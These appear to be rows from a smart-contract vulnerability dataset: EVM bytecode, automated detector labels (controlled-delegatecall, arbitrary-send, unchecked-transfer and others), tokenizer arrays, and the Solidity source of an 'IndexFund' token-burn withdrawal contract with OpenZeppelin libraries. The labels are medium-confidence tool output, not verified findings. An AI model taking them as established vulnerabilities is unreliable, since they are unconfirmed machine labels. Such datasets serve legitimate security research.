20612dca612cc783613f92565b8281528181019085830183850287018401881015612de6578586fd5b855b85811015612e0d578135612dfb816140bd565b84529284019290840190600101612de8565b5090979650505050505050565b600082601f830112612e2a578081fd5b81516020612e3a612cc783613f92565b8281528181019085830183850287018401881015612e56578586fd5b855b85811015612e0d578151612e6b816140bd565b84529284019290840190600101612e58565b600082601f830112612e8d578081fd5b81356020612e9d612cc783613f92565b82815281810190858301855b85811015612e0d5781358801604080601f19838d03011215612ec9578889fd5b80518181016001600160401b038282108183111715612eea57612eea6140a7565b908352838901358252838301359080821115612f04578b8cfd5b508084019350508b603f840112612f1957898afd5b87830135612f29612cc782613fb5565b8181528d84838701011115612f3c578b8cfd5b818486018b83013790810189018b905281890152865250509284019290840190600101612ea9565b600082601f830112612f74578081fd5b612f8383835160208501612cb9565b9392505050565b600082601f830112612f9a578081fd5b81356020612faa612cc783613f92565b82815281810190858301855b85811015612e0d5781358801608080601f19838d03011215612fd6578889fd5b612fdf81613f69565b612fea888401612d9f565b815260408301356001600160401b0380821115613005578b8cfd5b6130138e8b848801016131a1565b8a84015260609150818501358181111561302b578c8dfd5b6130398f8c838901016131a1565b604085015250928401359280841115613050578b8cfd5b5061305f8d8a85870101612e7d565b90820152865250509284019290840190600101612fb6565b600082601f830112613087578081fd5b81356020613097612cc783613f92565b82815281810190858301855b85811015612e0d5781358801606080601f19838d030112156130c3578889fd5b604080518281016001600160401b0382821081831117156130e6576130e66140a7565b908352848a0135906130f7826140bd565b90825284830135908082111561310b578c8dfd5b6131198f8c848901016131a1565b838c015293850135938085111561312e578c8dfd5b505061313e8d8a85870101612e7d565b918101919091528652505092840192908401906001016130a3565b60008083601f84011261316a578182fd5b5081356001600160401b03811115613180578182fd5b602083019150836020808302850101111561319a57600080fd5b9250929050565b600082601f8301126131b1578081fd5b813560206131c1612cc783613f92565b82815281810190858301838502870184018810156131dd578586fd5b855b85811015612e0d578135845292840192908401906001016131df565b8051801515811461037157600080fd5b60008083601f84011261321c578182fd5b5081356001600160401b03811115613232578182fd5b60208301915083602082850101111561319a57600080fd5b60006040828403121561325b578081fd5b604051604081016001600160401b03828210818311171561327e5761327e6140a7565b81604052829350843591508082111561329657600080fd5b6132a286838701612daa565b835260208501359150808211156132b857600080fd5b506132c5858286016131a1565b6020830152505092915050565b6000602082840312156132e3578081fd5b8135612f83816140bd565b60008060408385031215613300578081fd5b825161330b816140bd565b6020939093015192949293505050565b6000806040838503121561332d578182fd5b8235613338816140bd565b91506020830135613348816140bd565b809150509250929050565b60008060008060008060008060a0898b03121561336e578384fd5b8835613379816140bd565b97506020890135613389816140bd565b965060408901356001600160401b03808211156133a4578586fd5b6133b08c838d01613159565b909850965060608b01359150808211156133c8578586fd5b6133d48c838d01613159565b909650945060808b01359150808211156133ec578384fd5b506133f98b828c0161320b565b999c989b5096995094979396929594505050565b600080600080600060808688031215613424578283fd5b853561342f816140bd565b9450602086013561343f816140bd565b93506040860135925060608601356001600160401b03811115613460578182fd5b61346c8882890161320b565b969995985093965092949392505050565b60008060008060008060a08789031215613495578384fd5b86356134a0816140bd565b955060208701356134b0816140bd565b9450604087013593506060870135925060808701356001600160401b038111156134d8578283fd5b6134e489828a0161320b565b979a9699509497509295939492505050565b6000806000806060858703121561350b578182fd5b8435613516816140bd565b935060208501356001600160401b03811115613530578283fd5b61353c87828801613159565b9094509250506040850135613550816140bd565b939692955090935050565b60008060008060008060808789031215613573578384fd5b863561357e816140bd565b955060208701356001600160401b0380821115613599578586fd5b6135a58a838b01613159565b909750955060408901359150808211156135bd578384fd5b506135ca89828a01613159565b90945092505060608701356135de816140bd565b809150509295509295509295565b600080604083850312156135fe578182fd5b8251613609816140bd565b9150613617602084016131fb565b90509250929050565b600080600060608486031215613634578081fd5b83356001600160401b038082111561364a578283fd5b61365687838801612e7d565b9450602086013591508082111561366b578283fd5b61367787838801612e7d565b9350604086013591508082111561368c578283fd5b5061369986828701612daa565b9150509250925092565b600080600080608085870312156136b8578182fd5b84356001600160401b03808211156136ce578384fd5b6136da88838901612e7d565b955060208701359150808211156136ef578384fd5b6136fb88838901612e7d565b94506040870135915080821115613710578384fd5b61371c8883890161324a565b93506060870135915080821115613731578283fd5b5061373e87828801612daa565b91505092959194509250565b6000806000806080858703121561375f578182fd5b84516001600160401b0380821115613775578384fd5b818701915087601f830112613788578384fd5b61379788835160208501612cb9565b955060208701519150808211156137ac578384fd5b6137b888838901612f64565b945060408701519150808211156137cd578384fd5b6137d988838901612f64565b935060608701519150808211156137ee578283fd5b5061373e87828801612e1a565b60006020828403121561380c578081fd5b612f83826131fb565b600060208284031215613826578081fd5b81356001600160e01b031981168114612f83578182fd5b60008060008060808587031215613852578182fd5b845160038110613860578283fd5b602086015190945060028110613874578283fd5b6040860151909350613885816140bd565b9150613893606086016131fb565b905092959194509250565b60008060008060008060c087890312156138b6578384fd5b86356001600160401b03808211156138cc578586fd5b6138d88a838b0161324a565b975060208901359150808211156138ed578586fd5b6138f98a838b01613077565b9650604089013591508082111561390e578586fd5b61391a8a838b01612f8a565b9550606089013591508082111561392f578384fd5b61393b8a838b01612e7d565b94506080890135915080821115613950578384fd5b61395c8a838b01612e7d565b935060a0890135915080821115613971578283fd5b5061397e89828a01612daa565b9150509295509295509295565b60006020828403121561399c578081fd5b5035919050565b6000602082840312156139b4578081fd5b5051919050565b6000815180845260208085019450808401835b838110156139ea578151875295820195908201906001016139ce565b509495945050505050565b6000828483379101908152919050565b60008251613a1781846020870161404a565b9190910192915050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b039485168152928416602084015292166040820152606081019190915260800190565b6001600160a01b0385811682528416602082015260a060408201819052600090613a8e908301856139bb565b8281036060840152613aa081856139bb565b838103608090940193909352508152602001949350505050565b6001600160a01b03938416815291909216602082015260ff909116604082015260600190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0394851681529290931660208301526040820152606081019190915260a06080820181905260009082015260c00190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6001600160e01b031991909116815260200190565b6020808252601a908201527f6275794e6674466f724574683a2073776170206661696c65642e000000000000604082015260600190565b60208082526026908201527f5f6578656375746553696e676c65547278537761703a206e6f2073656c6c2064604082015265657461696c7360d01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601b908201527f757064617465466565733a20696e76616c69642063616c6c65722e0000000000604082015260600190565b6020808252601390820152722fb9bbb0b81d1039bbb0b8103330b4b632b21760691b604082015260600190565b6020808252601c908201527f6275794e6674466f724574683a2072657475726e206661696c65642e00000000604082015260600190565b6020808252601d908201527f5f72657475726e4368616e67653a2072657475726e206661696c65642e000000604082015260600190565b60208082526019908201527f5f73656c6c4e46543a20496e416374697665204d61726b657400000000000000604082015260600190565b6020808252601f908201527f6275794e6674466f7245524332303a207472616e73666572206661696c656400604082015260600190565b60208082526019908201527f66756e6374696f6e3a20496e416374697665204d61726b657400000000000000604082015260600190565b6020808252601e908201527f6275794e6674466f7245524332303a2072657475726e206661696c65642e0000604082015260600190565b6020808252601a908201527f6275794e6674466f724574683a2066656573206661696c65642e000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601490820152732fb13abca7232a1d10313abc903330b4b632b21760611b604082015260600190565b6020808252601c908201527f6275794e6674466f7245524332303a2073776170206661696c65642e00000000604082015260600190565b60208082526024908201527f6275794e6674466f7245524332303a2066656573207472616e736665722066616040820152631a5b195960e21b606082015260800190565b6020808252601690820152752fb9b2b63627232a1d1039b2b636103330b4b632b21760511b604082015260600190565b6020808252818101527f5f7472616e7366657248656c7065723a207472616e73666572206661696c6564604082015260600190565b90815260200190565b6040518181016001600160401b0381118282101715613f8a57613f8a6140a7565b604052919050565b60006001600160401b03821115613fab57613fab6140a7565b5060209081020190565b60006001600160401b03821115613fce57613fce6140a7565b50601f01601f191660200190565b60008219821115613fef57613fef614091565b500190565b60008261400f57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561402e5761402e614091565b500290565b60008282101561404557614045614091565b500390565b60005b8381101561406557818101518382015260200161404d565b8381111561112e5750506000910152565b600060001982141561408a5761408a614091565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146140d257600080fd5b5056fea264697066735822122058155467ed651020d1f8c07012ccbc9978eba79dd5a5f5d2da3f60329adb57fa64736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "delegatecall-loop", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'delegatecall-loop', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
19841,
2546,
2620,
2063,
22394,
2692,
2094,
11387,
2581,
2620,
2620,
2063,
2581,
2575,
2063,
2620,
2850,
14142,
2575,
2509,
2278,
2683,
27717,
2683,
24087,
2629,
6305,
2692,
2278,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1030,
16475,
3640,
2592,
2055,
1996,
2783,
7781,
6123,
1010,
2164,
1996,
1008,
4604,
2121,
1997,
1996,
12598,
1998,
2049,
2951,
1012,
2096,
2122,
2024,
3227,
2800,
1008,
3081,
5796,
2290,
1012,
4604,
2121,
1998,
5796,
2290,
1012,
2951,
1010,
2027,
2323,
2025,
2022,
11570,
1999,
2107,
1037,
3622,
1008,
5450,
1010,
2144,
2043,
7149,
2007,
18804,
1011,
11817,
1996,
4070,
6016,
1998,
1008,
7079,
2005,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,521 | 0x95477F96F78EC38916B5457030387D844E886ab3 | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.4;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IERC20Burnable.sol";
contract IndexFund {
using SafeERC20 for IERC20Burnable;
address private constant PILOT_ADDRESS = 0x37C997B35C619C21323F3518B9357914E8B99525; //mainnet
address private _timelock;
uint256 private constant PRECISION = 10**18;
address[] public lockedFundAddresses;
mapping(bytes32 => bool) private withdraws;
event Withdrawn(
address indexed tokenAddress,
uint256 indexed pilotAmount,
uint256 indexed tokenAmount,
uint256 circulatingPilotSupply
);
modifier onlyTimelock() {
require(msg.sender == _timelock, "INDEX_FUND:: NOT_TIMELOCK");
_;
}
constructor(address _timelockAddress, address[] memory _lockedFundAddresses) {
_timelock = _timelockAddress;
lockedFundAddresses = _lockedFundAddresses;
}
function withdraw(address[] memory _tokenAddresses, uint256 _pilotAmount) external {
uint256 pilotPercentage;
uint256 circulatingPilotSupply = circulatingSupply();
uint256 timestamp = block.timestamp;
address payable sender = payable(msg.sender);
address contractAddress = address(this);
pilotPercentage = (_pilotAmount * PRECISION) / circulatingPilotSupply;
IERC20Burnable(PILOT_ADDRESS).burnFrom(sender, _pilotAmount);
for (uint256 i = 0; i < _tokenAddresses.length; i++) {
bytes32 withdrawnId = keccak256(abi.encode(_tokenAddresses[i], sender, timestamp));
require(withdraws[withdrawnId] == false, "INDEXFUND:: TOKEN_ALREADY_WITHDRAWN");
uint256 tokenPercentageToTransfer = _getTokenPercentage(
_tokenAddresses[i],
contractAddress,
pilotPercentage
);
withdraws[withdrawnId] = true;
_tokenAddresses[i] == address(0)
? sender.transfer(tokenPercentageToTransfer)
: IERC20Burnable(_tokenAddresses[i]).safeTransfer(sender, tokenPercentageToTransfer);
emit Withdrawn(_tokenAddresses[i], _pilotAmount, tokenPercentageToTransfer, circulatingPilotSupply);
}
}
function addLockedFundsAddresses(address[] memory _accounts) external onlyTimelock {
for (uint24 i = 0; i < _accounts.length; i++) {
require(_accounts[i] != address(0), "INDEX_FUND:: ZERO_ADDRESS");
lockedFundAddresses.push(_accounts[i]);
}
}
function removeLockedFundsAddress(uint256 _index) external onlyTimelock {
require(lockedFundAddresses[_index] != address(0), "INDEX_FUND:: ELEMENT_NOT_EXISTS");
delete lockedFundAddresses[_index];
}
function migrateFunds(address payable _newVersion, address[] calldata tokens) external onlyTimelock {
address thisContract = address(this);
for (uint24 i = 0; i < tokens.length; i++) {
IERC20Burnable(tokens[i]).safeTransfer(_newVersion, IERC20Burnable(tokens[i]).balanceOf(thisContract));
}
if (thisContract.balance > 0) {
_newVersion.transfer(thisContract.balance);
}
}
function circulatingSupply() public view returns (uint256 supply) {
uint256 totalLocked;
for (uint24 i = 0; i < lockedFundAddresses.length; i++) {
totalLocked += IERC20Burnable(PILOT_ADDRESS).balanceOf(lockedFundAddresses[i]);
}
supply = IERC20Burnable(PILOT_ADDRESS).totalSupply() - totalLocked;
}
function _getTokenPercentage(
address _tokenAddress,
address _contractAddress,
uint256 _pilotPercentage
) internal view returns (uint256 tokenPercentageToTransfer) {
uint256 balance = _tokenAddress == address(0)
? _contractAddress.balance
: IERC20(_tokenAddress).balanceOf(_contractAddress);
require(balance > 0, "INDEXFUND:: ZERO_BALANCE");
tokenPercentageToTransfer = (balance * _pilotPercentage) / PRECISION;
}
fallback() external payable {}
receive() external payable {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IERC20Burnable is IERC20 {
function burnFrom(address account, uint256 amount) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
| 0x6080604052600436106100635760003560e01c80639358928b116100405780639358928b146100cc57806397ecc0fb146100f4578063e3511faf1461012c57005b806317764f0b1461006c5780634333c5a51461008c578063515fdde3146100ac57005b3661006a57005b005b34801561007857600080fd5b5061006a610087366004611023565b61014c565b34801561009857600080fd5b5061006a6100a7366004610f7f565b610268565b3480156100b857600080fd5b5061006a6100c7366004610ef7565b6103cb565b3480156100d857600080fd5b506100e1610581565b6040519081526020015b60405180910390f35b34801561010057600080fd5b5061011461010f366004611023565b610721565b6040516001600160a01b0390911681526020016100eb565b34801561013857600080fd5b5061006a610147366004610fbc565b61074b565b6000546001600160a01b031633146101ab5760405162461bcd60e51b815260206004820152601960248201527f494e4445585f46554e443a3a204e4f545f54494d454c4f434b0000000000000060448201526064015b60405180910390fd5b60006001600160a01b0316600182815481106101c9576101c9611194565b6000918252602090912001546001600160a01b0316141561022c5760405162461bcd60e51b815260206004820152601f60248201527f494e4445585f46554e443a3a20454c454d454e545f4e4f545f4558495354530060448201526064016101a2565b6001818154811061023f5761023f611194565b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916905550565b6000546001600160a01b031633146102c25760405162461bcd60e51b815260206004820152601960248201527f494e4445585f46554e443a3a204e4f545f54494d454c4f434b0000000000000060448201526064016101a2565b60005b81518162ffffff1610156103c75760006001600160a01b0316828262ffffff16815181106102f5576102f5611194565b60200260200101516001600160a01b031614156103545760405162461bcd60e51b815260206004820152601960248201527f494e4445585f46554e443a3a205a45524f5f414444524553530000000000000060448201526064016101a2565b6001828262ffffff168151811061036d5761036d611194565b602090810291909101810151825460018101845560009384529190922001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03909216919091179055806103bf81611140565b9150506102c5565b5050565b6000546001600160a01b031633146104255760405162461bcd60e51b815260206004820152601960248201527f494e4445585f46554e443a3a204e4f545f54494d454c4f434b0000000000000060448201526064016101a2565b3060005b62ffffff811683111561052f5761051d8585858462ffffff1681811061045157610451611194565b90506020020160208101906104669190610eda565b6040516370a0823160e01b81526001600160a01b03868116600483015291909116906370a082319060240160206040518083038186803b1580156104a957600080fd5b505afa1580156104bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e1919061103c565b86868562ffffff168181106104f8576104f8611194565b905060200201602081019061050d9190610eda565b6001600160a01b03169190610a2c565b8061052781611140565b915050610429565b506001600160a01b038116311561057b576040516001600160a01b03808616919083163180156108fc02916000818181858888f19350505050158015610579573d6000803e3d6000fd5b505b50505050565b60008060005b60015462ffffff8216101561068a577337c997b35c619c21323f3518b9357914e8b995256001600160a01b03166370a0823160018362ffffff16815481106105d1576105d1611194565b60009182526020909120015460405160e083901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03909116600482015260240160206040518083038186803b15801561063457600080fd5b505afa158015610648573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066c919061103c565b61067690836110a4565b91508061068281611140565b915050610587565b50807337c997b35c619c21323f3518b9357914e8b995256001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156106d957600080fd5b505afa1580156106ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610711919061103c565b61071b91906110fd565b91505090565b6001818154811061073157600080fd5b6000918252602090912001546001600160a01b0316905081565b600080610756610581565b90504233308361076e670de0b6b3a7640000886110de565b61077891906110bc565b60405163079cc67960e41b81526001600160a01b0384166004820152602481018890529095507337c997b35c619c21323f3518b9357914e8b99525906379cc679090604401600060405180830381600087803b1580156107d757600080fd5b505af11580156107eb573d6000803e3d6000fd5b5050505060005b8751811015610a2257600088828151811061080f5761080f611194565b6020026020010151848660405160200161084a939291906001600160a01b039384168152919092166020820152604081019190915260600190565b60408051601f1981840301815291815281516020928301206000818152600290935291205490915060ff16156108ce5760405162461bcd60e51b815260206004820152602360248201527f494e44455846554e443a3a20544f4b454e5f414c52454144595f57495448445260448201526220aba760e91b60648201526084016101a2565b60006108f48a84815181106108e5576108e5611194565b6020026020010151858a610a98565b6000838152600260205260408120805460ff191660011790558b51919250908b908590811061092557610925611194565b60200260200101516001600160a01b0316146109775761097285828c868151811061095257610952611194565b60200260200101516001600160a01b0316610a2c9092919063ffffffff16565b6109af565b6040516001600160a01b0386169082156108fc029083906000818181858888f193505050501580156109ad573d6000803e3d6000fd5b505b80898b85815181106109c3576109c3611194565b60200260200101516001600160a01b03167f75e161b3e824b114fc1a33274bd7091918dd4e639cede50b78b15a4eea956a218a604051610a0591815260200190565b60405180910390a450508080610a1a90611163565b9150506107f2565b5050505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b179052610a93908490610bac565b505050565b6000806001600160a01b03851615610b28576040516370a0823160e01b81526001600160a01b0385811660048301528616906370a082319060240160206040518083038186803b158015610aeb57600080fd5b505afa158015610aff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b23919061103c565b610b34565b836001600160a01b0316315b905060008111610b865760405162461bcd60e51b815260206004820152601860248201527f494e44455846554e443a3a205a45524f5f42414c414e4345000000000000000060448201526064016101a2565b670de0b6b3a7640000610b9984836110de565b610ba391906110bc565b95945050505050565b6000610c01826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610c919092919063ffffffff16565b805190915015610a935780806020019051810190610c1f9190611001565b610a935760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f7420737563636565640000000000000000000000000000000000000000000060648201526084016101a2565b6060610ca08484600085610caa565b90505b9392505050565b606082471015610d225760405162461bcd60e51b815260206004820152602660248201527f4164647